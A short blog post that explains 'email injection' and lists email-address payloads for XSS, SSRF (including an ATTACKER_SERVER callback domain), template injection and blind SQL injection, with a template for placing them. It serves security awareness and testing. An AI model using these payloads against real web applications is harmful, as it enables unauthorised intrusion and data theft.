EMAIL INJECTION

As someone who thrives on exploring the intricacies of security vulnerabilities, I believe in sharing the techniques and knowledge I use in real-world projects can collectively raise awareness and strengthen security knowledge.

Email injection is a critical yet often overlooked vulnerability in web applications. It occurs when an attacker bypasses input validation or security filters within an email field, injecting malicious payloads that can lead to severe security issues.

For instance, by manipulating the email input field, such as using payloads like:

```
#XSS
test+(alert(0))@example.com
test@example(alert(0)).com
"alert(0)"@example.com
<script src=//xsshere?”@email.com

#SSRF
john.doe@abc123.ATTACKER_SERVER.com
john.doe@[127.0.0.1]

#Template Injection
"<%= 7 * 7 %>"@example.com
test+(${{7*7}})@example.com

#SQL Injection
"' OR 1=1 -- '"@example.com
"mail'); SELECT version();--"@example.com
a'-IF(LENGTH(database())=9,SLEEP(7),0)or'1'='1"@a.com
```

Attackers can potentially exploit weaknesses, causing unexpected behaviors or injecting harmful scripts. These vulnerabilities if left unaddressed, can be exploited for various purposes, such as executing JavaScript code or manipulating email systems, which might compromise user data or system integrity.

> Payload can be anything in anywhere:

```
[payload]"@domain.com
name@"[payload]"domain.com
name[payload]@domain.com
name@domain.com[payload]
```

GitHub: https://github.com/abolfazlvaziri
Instagram: https://instagram.com/abolfazlvaziriofficial
Telegram Channel: https://t.me/AVN_COMMUNITY
YouTube: https://www.youtube.com/@abolfazlvaziri